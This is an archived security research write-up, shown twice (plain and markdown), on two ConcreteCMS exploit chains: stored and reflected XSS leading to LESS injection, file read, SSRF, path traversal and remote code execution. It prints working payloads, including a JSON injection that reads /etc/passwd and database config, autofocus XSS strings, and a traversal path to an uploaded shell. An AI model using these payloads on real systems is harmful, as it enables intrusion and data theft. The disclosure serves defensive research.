From XSS to RCE: Two Exploit Chains in ConcreteCMS
Summary
- Published
- Collected
📦 Full-Text Content Snapshot
R2 Archive · Full Article PreservedWritten by: Yonatan Drori & Daniel Goldberg · October 4, 2026 · Source: tenzai.com

Individual vulnerabilities rarely tell the whole story. A reflected XSS may look like a browser-only issue, and a path traversal or template injection may appear to require an authenticated administrator. The risk changes when those primitives are connected across trust boundaries.
As part of our broader security research into ConcreteCMS, we found two chains that turn seemingly separate flaws into unauthenticated server compromise:
- One uses an administrator's browser to bridge a reflected XSS, file upload, and path traversal into code execution.
- The second combines stored XSS with LESS injection to reach file disclosure, SSRF, and, on affected glibc versions, remote code execution.
This post follows each chain from source-level root cause to the production conditions that determine its real impact.
Exploit Chain 1: Stored XSS -> LESS SSTI -> RCE via glibc iconv()
Often, source code analysis discovers vulnerabilities that have a specific impact in the source code and a different impact in production. In this case, an unsanitized value leads to SSTI. Depending on the production environment (exact version of glibc), this can be turned into an RCE rather than merely an SSTI. We paired the SSTI with a stored XSS to go from unauthenticated visitor to full server compromise.
Bug 1: SSTI - Unsanitized color channels reach the LESS compiler verbatim
ConcreteCMS has a graphical theme style customizer, which lets an admin tweak a theme's color variables (page-background, link-color, etc.) through a form that posts r/g/b/a values as JSON. ColorValue stores whatever it's given with no type check at all:
// concrete/src/StyleCustomizer/Style/Value/ColorValue.php:42
public function setRed($r)
{
$this->r = $r; // @var mixed — no validation
return $this;
}When the style is compiled, ColorStyle interpolates the four channels into a CSS rgba() string with a raw %s:
// concrete/src/StyleCustomizer/Style/ColorStyle.php:69
$variableValue = sprintf(
'rgba(%s, %s, %s, %s)',
$value->getRed(), // ← attacker-controlled, unsanitized
$value->getGreen(),
$value->getBlue(),
$value->getAlpha()
);That string is handed to Less_Parser::ModifyVars(), which reaches serializeVars() — the point where a LESS variable assignment gets built by string concatenation rather than templating:
// vendor/wikimedia/less.php/lib/Less/Parser.php:2651
$s .= (($name[0] === '@') ? '' : '@') . $name . ': ' . $value . ((substr($value, -1) === ';') ? '' : ';');Because the value is never escaped and never validated as numeric, closing the rgba(...) call early and appending a second LESS statement is enough to inject arbitrary directives. The r channel does the work; g/b/a just get absorbed into a second, harmless rgba(...) call so the LESS stays syntactically valid.
For exploiting this SSTI, we use the @import (inline) directive in our injected LESS code to read arbitrary files (e.g., /etc/passwd):
{
"value": {
"r": "0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0",
"g": "0", "b": "0", "a": "1"
}
}which serializes to:
@page-background-color: rgba(0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0, 0, 0, 1);@import (inline) is a legitimate LESS feature for pulling a file's raw contents into the compiled output verbatim. The parser implements it with a direct file_get_contents():
// vendor/wikimedia/less.php/lib/Less/Tree/Import.php:176
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );$full_path supports PHP stream wrappers, not just plain paths — http://, https://, php://filter, data://, etc. all work (phar:// was disabled explicitly by ConcreteCMS in a recent security fix). That means the injection is a universal local-file-read and an internal-network SSRF primitive in one:
@import (inline) "/etc/passwd" → root:x:0:0:root:/root:/bin/bash ...
@import (inline) "application/config/database.php" → DB host/user/password in cleartext
@import (inline) "http://127.0.0.1:80/" → full response body of any internal service
@import (inline) "php://filter/convert.base64-encode/resource=/etc/passwd" → clean exfil of binary filesThe compiled CSS leaks file contents and is written to a world-readable cache file (application/files/cache/css/{theme}/main.css) and served to every visitor, authenticated or not, on the next page load.
Bug 2: Stored XSS in the Express entry deletion log
Express is ConcreteCMS's form/object builder, used behind forms like "contact us," newsletter signup, or job applications. Every Express entry has a label built directly from the submitter's own field values, with no escaping:
// concrete/src/Express/Entry/Formatter/LabelFormatter.php:47-54
public function getLabel(Entry $entry)
{
foreach ($entry->getEntity()->getAttributes() as $ak) {
if ($ak->getAttributeType()->getAttributeTypeHandle() == 'text') {
return $entry->getAttribute($ak); // ← raw submitted value, first text field
}
}
}Express entries get logged whenever one is deleted — and deleting spam entries is a routine admin task:
// concrete/src/Express/Entry/Listener.php:21-23, 56-58
public function preRemove(Entry $entry, LifecycleEventArgs $event)
{
$this->logger->info(t('Deleting Express entry: %s (%s)', $entry->getLabel(), $entry->getID()));
}
public function postRemove(Entry $entry, LifecycleEventArgs $event)
{
$this->logger->info(t('Express entry %s (%s) deleted successfully.', $entry->getLabel(), $entry->getID()));
}The raw label is stored in the Logs table. When an admin opens Dashboard → Reports → Logs, the message column runs it through makenice():
// concrete/src/Utility/Service/Text.php:261-268
public function makenice($input)
{
$output = strip_tags($input); // no raw <, > in our payload, so this is a no-op
$output = $this->autolink($output);
$output = nl2br($output);
return $output;
}autolink() turns anything that looks like a URL into an <a href="..."> tag by regex string concatenation with no additional escaping:
// concrete/src/Utility/Service/Text.php:290-302
public function autolink($input, $newWindow = false, $defaultProtocol = 'http://')
{
$target = $newWindow ? ' target="_blank"' : '';
$output = preg_replace_callback(
'/(http:\/\/|https:\/\/|(www\.))(([^\s<]{4,80})[^\s<]*)/',
function (array $matches) use ($target, $defaultProtocol) {
$protocol = strpos($matches[1], ':') ? $matches[1] : $defaultProtocol;
return "<a href="{$protocol}{$matches[2]}{$matches[3]}"{$target} rel="nofollow">{$matches[2]}{$matches[4]}</a>";
},
$input);
return $output;
}The regex class is [^\s<] — it excludes whitespace and <, but not ". So a submitted field value of:
http://x"autofocus/tabindex="1"onfocus="alert(document.domain)survives strip_tags untouched and comes out the other side as:
<a href="http://x" autofocus tabindex="1" onfocus="alert(document.domain)" rel="nofollow">...</a>Per HTML tokenizer specifications, the "after attribute value (quoted)" state starts a new attribute the instant it sees a non-whitespace character right after a quote closes. Because autofocus forces the browser to focus the element immediately upon parsing, the handler fires the moment the log page loads, completely interactionless.
Chained Together
- An anonymous attacker submits a public form planting the XSS payload as an Express entry label.
- An admin bulk-deletes spam entries, writing the payload into the log.
- An admin opens the log dashboard; JavaScript executes in their authenticated session.
- The payload reads the CSRF token from the DOM and issues a POST to the theme customizer with the LESS SSTI payload.
- The next page load renders the compiled CSS containing
/etc/passwdto any visitor.
Escalation: RCE via CVE-2024-2961 in glibc iconv() (glibc < 2.40)
If the target's glibc is older than 2.40, CVE-2024-2961 in iconv() allows escalating the SSTI into arbitrary remote code execution via php://filter.
CVE-2024-2961 is a 4-byte heap buffer overflow when converting UTF-8 to ISO-2022-CN-EXT. A specific character (劄) has no exact representation, causing glibc to write past the buffer boundary. By using php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=... inside @import (inline), and stacking filters (zlib.inflate, dechunk, convert.iconv.L1.L1) to shape the PHP heap, an attacker corrupts a chunk header in zend_mm_heap and redirects a function pointer to system(), executing arbitrary commands.
Exploit Chain 2: Reflected XSS to RCE (CVE-2026-8134 + CVE-2026-8245)
A reflected XSS in a low-traffic admin page, chained through file upload and path traversal, produces unauthenticated remote code execution in the server via an administrator's browser. Because ConcreteCMS defaults session cookies to SameSite=Lax, top-level cross-site GET navigations carry session cookies, enabling silent execution.
Bug 1: Reflected XSS in legacy pagination (CVE-2026-8245)
The legacy form reports controller reads sortBy from the request and concatenates it directly into the pagination URL template:
// concrete/controllers/single_page/dashboard/reports/forms/legacy.php:197-199
$sortBy = $this->request->get('sortBy');
$paginator->init(
(int) $this->request->get('page'), $answerSetCount,
$pageBaseSurvey . '&page=%pageNum%&sortBy=' . $sortBy, // raw concat
$this->pageSize
);The pagination helper interpolates $linkURL into href attributes:
// concrete/src/Legacy/Pagination.php:309
$pages .= "<li class="page-item"><a class="page-link" href="{$linkURL}" ...";A sortBy value of 1"><img src onerror="..."> breaks out of the href attribute and injects arbitrary HTML/JS into the admin dashboard page.
Bug 2: Path traversal in composer template (CVE-2026-8134)
Page type composer controls support a "custom template" that overrides block rendering. An admin can set this via POST to /ccm/system/page/type/composer/form/edit_control/save. The save handler reads the template value and passes it to sanitizeString(), which only strips HTML tags and does not validate filesystem paths:
// concrete/controllers/backend/page/type/composer/form/edit_control/save.php
protected function getPostedTemplate(): string {
$template = $this->request->request->get('ptComposerFormLayoutSetControlCustomTemplate');
return is_string($template) ? $this->app->make(SanitizeService::class)->sanitizeString($template) : '';
}The value is saved to the database:
// concrete/src/Page/Type/Composer/FormLayoutSetControl.php:234-242
public function updateFormLayoutSetControlCustomTemplate($template){
$db->executeQuery(
'update PageTypeComposerFormLayoutSetControls
set ptComposerFormLayoutSetControlCustomTemplate = ?
where ptComposerFormLayoutSetControlID = ?',
[$template, $this->ptComposerFormLayoutSetControlID]
);
}A value like ../../../../application/files/1234/5678/9012/shell.jpg is stored verbatim. When the composer page-add dialog opens, BlockControl::render() resolves the stored path and passes it to inc():
// concrete/src/Page/Type/Composer/Control/BlockControl.php:284-310
public function inc($file, $args = []){
extract($args);
$r = $env->getRecord(DIRNAME_BLOCKS . '/' . $obj->getBlockTypeHandle() . '/' . $file, $pkg);
if ($r->exists()) {
include $r->file; // <- arbitrary PHP execution
}
}../ sequences escape the block template directory into application/files/, where an uploaded JPEG/PHP polyglot sits. PHP's include engine executes the <?php payload.
Conclusion
These chains share a simple reality: exploitability is a property of the entire system. The actual impact of any vulnerability depends on the production server configuration and environment. Reviewing components in isolation consistently underestimates risk.
📦 Full-Text Markdown Snapshot archived by Phying News · Original source: tenzai.com
---
id: 8926
canonical_url: "https://phying.com/item/8926"
title: "From XSS to RCE: Two Exploit Chains in ConcreteCMS"
type: "vulnerability"
cve: "CVE-2026-8134, CVE-2026-8245"
cvss: null
severity: "high"
vendor: "ConcreteCMS"
product: "ConcreteCMS"
affected_versions: "< 9.5.1"
source_domain: "tenzai.com"
source_url: "https://www.tenzai.com/blog/from-xss-to-rce-two-exploit-chains-in-concretecms"
published_at: "2026-10-04T00:00:00Z"
snapshot_at: "2026-10-26T05:55:00Z"
archived_by: "Phying News (https://phying.com/item/8926)"
lang: "en"
---
# From XSS to RCE: Two Exploit Chains in ConcreteCMS
*Written by: Yonatan Drori & Daniel Goldberg · October 4, 2026 · Source: [tenzai.com](https://www.tenzai.com/blog/from-xss-to-rce-two-exploit-chains-in-concretecms)*

Individual vulnerabilities rarely tell the whole story. A reflected XSS may look like a browser-only issue, and a path traversal or template injection may appear to require an authenticated administrator. The risk changes when those primitives are connected across trust boundaries.
As part of our broader security research into [ConcreteCMS](https://www.concretecms.org/), we found two chains that turn seemingly separate flaws into unauthenticated server compromise:
1. One uses an administrator's browser to bridge a reflected XSS, file upload, and path traversal into code execution.
2. The second combines stored XSS with LESS injection to reach file disclosure, SSRF, and, on affected glibc versions, remote code execution.
This post follows each chain from source-level root cause to the production conditions that determine its real impact.
---
# Exploit Chain 1: Stored XSS -> LESS SSTI -> RCE via glibc iconv()
Often, source code analysis discovers vulnerabilities that have a specific impact in the source code and a different impact in production. In this case, an unsanitized value leads to SSTI. Depending on the production environment (exact version of glibc), this can be turned into an RCE rather than merely an SSTI. We paired the SSTI with a stored XSS to go from unauthenticated visitor to full server compromise.
### Bug 1: SSTI - Unsanitized color channels reach the LESS compiler verbatim
ConcreteCMS has a graphical theme style customizer, which lets an admin tweak a theme's color variables (`page-background`, `link-color`, etc.) through a form that posts `r/g/b/a` values as JSON. `ColorValue` stores whatever it's given with no type check at all:
```php
// concrete/src/StyleCustomizer/Style/Value/ColorValue.php:42
public function setRed($r)
{
$this->r = $r; // @var mixed — no validation
return $this;
}
```
When the style is compiled, `ColorStyle` interpolates the four channels into a CSS `rgba()` string with a raw `%s`:
```php
// concrete/src/StyleCustomizer/Style/ColorStyle.php:69
$variableValue = sprintf(
'rgba(%s, %s, %s, %s)',
$value->getRed(), // ← attacker-controlled, unsanitized
$value->getGreen(),
$value->getBlue(),
$value->getAlpha()
);
```
That string is handed to `Less_Parser::ModifyVars()`, which reaches `serializeVars()` — the point where a LESS variable assignment gets built by string concatenation rather than templating:
```php
// vendor/wikimedia/less.php/lib/Less/Parser.php:2651
$s .= (($name[0] === '@') ? '' : '@') . $name . ': ' . $value . ((substr($value, -1) === ';') ? '' : ';');
```
Because the value is never escaped and never validated as numeric, closing the `rgba(...)` call early and appending a second LESS statement is enough to inject arbitrary directives. The `r` channel does the work; `g/b/a` just get absorbed into a second, harmless `rgba(...)` call so the LESS stays syntactically valid.
For exploiting this SSTI, we use the `@import (inline)` directive in our injected LESS code to read arbitrary files (e.g., `/etc/passwd`):
```json
{
"value": {
"r": "0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0",
"g": "0", "b": "0", "a": "1"
}
}
```
which serializes to:
```less
@page-background-color: rgba(0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0, 0, 0, 1);
```
`@import (inline)` is a legitimate LESS feature for pulling a file's raw contents into the compiled output verbatim. The parser implements it with a direct `file_get_contents()`:
```php
// vendor/wikimedia/less.php/lib/Less/Tree/Import.php:176
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );
```
`$full_path` supports PHP stream wrappers, not just plain paths — `http://`, `https://`, `php://filter`, `data://`, etc. all work (`phar://` was disabled explicitly by ConcreteCMS in a recent security fix). That means the injection is a universal local-file-read *and* an internal-network SSRF primitive in one:
```text
@import (inline) "/etc/passwd" → root:x:0:0:root:/root:/bin/bash ...
@import (inline) "application/config/database.php" → DB host/user/password in cleartext
@import (inline) "http://127.0.0.1:80/" → full response body of any internal service
@import (inline) "php://filter/convert.base64-encode/resource=/etc/passwd" → clean exfil of binary files
```
The compiled CSS leaks file contents and is written to a world-readable cache file (`application/files/cache/css/{theme}/main.css`) and served to every visitor, authenticated or not, on the next page load.
### Bug 2: Stored XSS in the Express entry deletion log
Express is ConcreteCMS's form/object builder, used behind forms like "contact us," newsletter signup, or job applications. Every Express entry has a label built directly from the submitter's own field values, with no escaping:
```php
// concrete/src/Express/Entry/Formatter/LabelFormatter.php:47-54
public function getLabel(Entry $entry)
{
foreach ($entry->getEntity()->getAttributes() as $ak) {
if ($ak->getAttributeType()->getAttributeTypeHandle() == 'text') {
return $entry->getAttribute($ak); // ← raw submitted value, first text field
}
}
}
```
Express entries get logged whenever one is deleted — and deleting spam entries is a routine admin task:
```php
// concrete/src/Express/Entry/Listener.php:21-23, 56-58
public function preRemove(Entry $entry, LifecycleEventArgs $event)
{
$this->logger->info(t('Deleting Express entry: %s (%s)', $entry->getLabel(), $entry->getID()));
}
public function postRemove(Entry $entry, LifecycleEventArgs $event)
{
$this->logger->info(t('Express entry %s (%s) deleted successfully.', $entry->getLabel(), $entry->getID()));
}
```
The raw label is stored in the `Logs` table. When an admin opens **Dashboard → Reports → Logs**, the message column runs it through `makenice()`:
```php
// concrete/src/Utility/Service/Text.php:261-268
public function makenice($input)
{
$output = strip_tags($input); // no raw <, > in our payload, so this is a no-op
$output = $this->autolink($output);
$output = nl2br($output);
return $output;
}
```
`autolink()` turns anything that looks like a URL into an `<a href="...">` tag by regex string concatenation with no additional escaping:
```php
// concrete/src/Utility/Service/Text.php:290-302
public function autolink($input, $newWindow = false, $defaultProtocol = 'http://')
{
$target = $newWindow ? ' target="_blank"' : '';
$output = preg_replace_callback(
'/(http:\/\/|https:\/\/|(www\.))(([^\s<]{4,80})[^\s<]*)/',
function (array $matches) use ($target, $defaultProtocol) {
$protocol = strpos($matches[1], ':') ? $matches[1] : $defaultProtocol;
return "<a href="{$protocol}{$matches[2]}{$matches[3]}"{$target} rel="nofollow">{$matches[2]}{$matches[4]}</a>";
},
$input);
return $output;
}
```
The regex class is `[^\s<]` — it excludes whitespace and `<`, but not `"`. So a submitted field value of:
```text
http://x"autofocus/tabindex="1"onfocus="alert(document.domain)
```
survives `strip_tags` untouched and comes out the other side as:
```html
<a href="http://x" autofocus tabindex="1" onfocus="alert(document.domain)" rel="nofollow">...</a>
```
Per HTML tokenizer specifications, the "after attribute value (quoted)" state starts a new attribute the instant it sees a non-whitespace character right after a quote closes. Because `autofocus` forces the browser to focus the element immediately upon parsing, the handler fires the moment the log page loads, completely interactionless.
### Chained Together
1. An anonymous attacker submits a public form planting the XSS payload as an Express entry label.
2. An admin bulk-deletes spam entries, writing the payload into the log.
3. An admin opens the log dashboard; JavaScript executes in their authenticated session.
4. The payload reads the CSRF token from the DOM and issues a POST to the theme customizer with the LESS SSTI payload.
5. The next page load renders the compiled CSS containing `/etc/passwd` to any visitor.
### Escalation: RCE via CVE-2024-2961 in glibc iconv() (glibc < 2.40)
If the target's glibc is older than 2.40, CVE-2024-2961 in `iconv()` allows escalating the SSTI into arbitrary remote code execution via `php://filter`.
CVE-2024-2961 is a 4-byte heap buffer overflow when converting UTF-8 to `ISO-2022-CN-EXT`. A specific character (`劄`) has no exact representation, causing glibc to write past the buffer boundary. By using `php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=...` inside `@import (inline)`, and stacking filters (`zlib.inflate`, `dechunk`, `convert.iconv.L1.L1`) to shape the PHP heap, an attacker corrupts a chunk header in `zend_mm_heap` and redirects a function pointer to `system()`, executing arbitrary commands.
---
# Exploit Chain 2: Reflected XSS to RCE (CVE-2026-8134 + CVE-2026-8245)
A reflected XSS in a low-traffic admin page, chained through file upload and path traversal, produces unauthenticated remote code execution in the server via an administrator's browser. Because ConcreteCMS defaults session cookies to `SameSite=Lax`, top-level cross-site GET navigations carry session cookies, enabling silent execution.
### Bug 1: Reflected XSS in legacy pagination (CVE-2026-8245)
The legacy form reports controller reads `sortBy` from the request and concatenates it directly into the pagination URL template:
```php
// concrete/controllers/single_page/dashboard/reports/forms/legacy.php:197-199
$sortBy = $this->request->get('sortBy');
$paginator->init(
(int) $this->request->get('page'), $answerSetCount,
$pageBaseSurvey . '&page=%pageNum%&sortBy=' . $sortBy, // raw concat
$this->pageSize
);
```
The pagination helper interpolates `$linkURL` into `href` attributes:
```php
// concrete/src/Legacy/Pagination.php:309
$pages .= "<li class="page-item"><a class="page-link" href="{$linkURL}" ...";
```
A `sortBy` value of `1"><img src onerror="...">` breaks out of the `href` attribute and injects arbitrary HTML/JS into the admin dashboard page.
### Bug 2: Path traversal in composer template (CVE-2026-8134)
Page type composer controls support a "custom template" that overrides block rendering. An admin can set this via POST to `/ccm/system/page/type/composer/form/edit_control/save`. The save handler reads the template value and passes it to `sanitizeString()`, which only strips HTML tags and does not validate filesystem paths:
```php
// concrete/controllers/backend/page/type/composer/form/edit_control/save.php
protected function getPostedTemplate(): string {
$template = $this->request->request->get('ptComposerFormLayoutSetControlCustomTemplate');
return is_string($template) ? $this->app->make(SanitizeService::class)->sanitizeString($template) : '';
}
```
The value is saved to the database:
```php
// concrete/src/Page/Type/Composer/FormLayoutSetControl.php:234-242
public function updateFormLayoutSetControlCustomTemplate($template){
$db->executeQuery(
'update PageTypeComposerFormLayoutSetControls
set ptComposerFormLayoutSetControlCustomTemplate = ?
where ptComposerFormLayoutSetControlID = ?',
[$template, $this->ptComposerFormLayoutSetControlID]
);
}
```
A value like `../../../../application/files/1234/5678/9012/shell.jpg` is stored verbatim. When the composer page-add dialog opens, `BlockControl::render()` resolves the stored path and passes it to `inc()`:
```php
// concrete/src/Page/Type/Composer/Control/BlockControl.php:284-310
public function inc($file, $args = []){
extract($args);
$r = $env->getRecord(DIRNAME_BLOCKS . '/' . $obj->getBlockTypeHandle() . '/' . $file, $pkg);
if ($r->exists()) {
include $r->file; // <- arbitrary PHP execution
}
}
```
`../` sequences escape the block template directory into `application/files/`, where an uploaded JPEG/PHP polyglot sits. PHP's include engine executes the `<?php` payload.
# Conclusion
These chains share a simple reality: exploitability is a property of the entire system. The actual impact of any vulnerability depends on the production server configuration and environment. Reviewing components in isolation consistently underestimates risk.
---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8926) · Original source: [tenzai.com](https://www.tenzai.com/blog/from-xss-to-rce-two-exploit-chains-in-concretecms)